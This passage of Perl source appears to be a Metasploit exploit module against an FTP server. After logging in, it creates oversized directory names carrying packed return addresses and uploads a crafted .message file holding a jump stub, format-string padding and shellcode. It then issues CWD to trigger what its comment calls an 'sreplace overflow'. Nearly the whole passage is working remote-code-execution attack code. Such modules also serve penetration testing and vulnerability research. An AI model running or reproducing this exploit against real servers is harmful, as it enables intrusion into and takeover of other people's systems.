                $self->PrintLine("The service did not return a valid banner");
                return;
        }

	$self->PrintLine("Banner: ". $self->CleanData($res));

        $sock->Send("USER ". $self->GetVar('USER') ."\r\n");
        $res = $sock->Recv(-1, 20);
        $self->PrintLine("USER response: ". $self->CleanData($res));
        if ($res !~ /^331/) {
                $sock->Close;
                return;
        }

        $sock->Send("PASS ". $self->GetVar('PASS') ."\r\n");
        $res = $sock->Recv(-1, 20);
        $self->PrintLine("PASS response: ". $self->CleanData($res));
        if ($res !~ /^230/) {
                $sock->Close;
                return;
        }
	if (length($writedir) > 0) {
		$sock->Send("CWD $writedir\r\n");
		$res = $sock->Recv(-1, 20);
		$self->PrintLine("CWD response: " . $self->CleanData($res));
	}

	my $current_dir = "";
	$sock->Send("PWD\r\n");
	$res = $sock->Recv(-1, 20);
	$current_dir = $1 if ($res =~ /257\s\"(.+)\"/);
	$current_dir .= "/" if (substr($current_dir, -1, 1) ne "/");
 	$self->PrintLine("Current directory: $current_dir");

	my $dir1 = "A" x (251 - length($current_dir));
        $self->PrintLine(sprintf "Dir1 length is %d bytes", length($dir1));

	$sock->Send("MKD $dir1\r\n");
	$res = $sock->Recv(-1, 20);
	$self->PrintLine("MKD response: " . $self->CleanData($res));

	$sock->Send("CWD $dir1\r\n");
	$res = $sock->Recv(-1,20);
	$self->PrintLine("CWD response: " . $self->CleanData($res));

  	$sock->Send("PWD\r\n");
        $res = $sock->Recv(-1, 20);
	$self->PrintLine("PWD response: " . $self->CleanData($res));

	my $dir2  = "B" x 64;
        $dir2 .= pack("V", $target->[1]);
        $dir2 .= pack("V", $target->[2] - 4);
        $dir2 .= "\xcc" x 28;
        $self->PrintLine(sprintf "Dir2 length is %d bytes", length($dir2));

	$sock->Send("DELE " . $dir2 . "/.message\r\n");
	$sock->Recv(-1, 20);

	$sock->Send("DELE " . $dir2 . "/250\r\n");
	$sock->Recv(-1, 20);

	$sock->Send("RMD $dir2\r\n");
	$sock->Recv(-1, 20);

	$sock->Send("MKD $dir2\r\n");
	$res = $sock->Recv(-1, 20);
	$self->PrintLine("MKD response: " . $self->CleanData($res));

	# Upload .message file
	$sock->Send("TYPE I\r\n");
	$sock->Recv(-1, 20);

	$sock->Send("PASV\r\n");
	$res = $sock->Recv(-1, 20);
	if ($res !~ /^227/) {
		$self->PrintLine("Incorrect response to PASV command: " . $self->CleanData($res));
		return;
	}

	$self->PrintLine("PASV response: " . $self->CleanData($res));
	$res =~ /\((\d+)\,(\d+),(\d+),(\d+),(\d+),(\d+)/;
	my $datahost = "$1.$2.$3.$4";
	my $dataport = (int($5) << 8) + int($6);

	$self->PrintLine("Opening connection to $datahost:$dataport");
       	my $datasock = Msf::Socket::Tcp->new("PeerAddr" => $datahost, "PeerPort"  => $dataport);
        if ($datasock->IsError) {
                $self->PrintLine("Error creating socket: " . $datasock->GetError);
                return;
        }

	$sock->Send("STOR $dir2/.message\r\n");
	$res = $sock->Recv(-1, 20);
	$self->PrintLine("STOR response: " . $self->CleanData($res));

     	my $filedata = "";
        $filedata .= "A";
        $filedata .= "\x66\x81\xc2\x5e\x13\x52\xc3"; # add $0x135e, %dx; push %edx; ret
        $filedata .= "\%C" x 11;
        $filedata .= "A";
        $filedata .= $shellcode;
	$filedata .= "A" x (900 - length($shellcode));
        $filedata .= "\%CA" x 10;

	$datasock->Send($filedata);
	$datasock->Close();

	$res = $sock->Recv(-1, 20);
	$self->PrintLine("FILE transfered: " . $self->CleanData($res));

	# Trigger sreplace overflow
	$sock->Send("CWD $dir2\r\n");
	$sock->Recv(-1,20);

	sleep(3);

	$sock->Close();
}

sub CleanData {
        my $self = shift;
        my $data = shift;
        $data =~ s/\r|\n//g;
        return $data;
}

__END__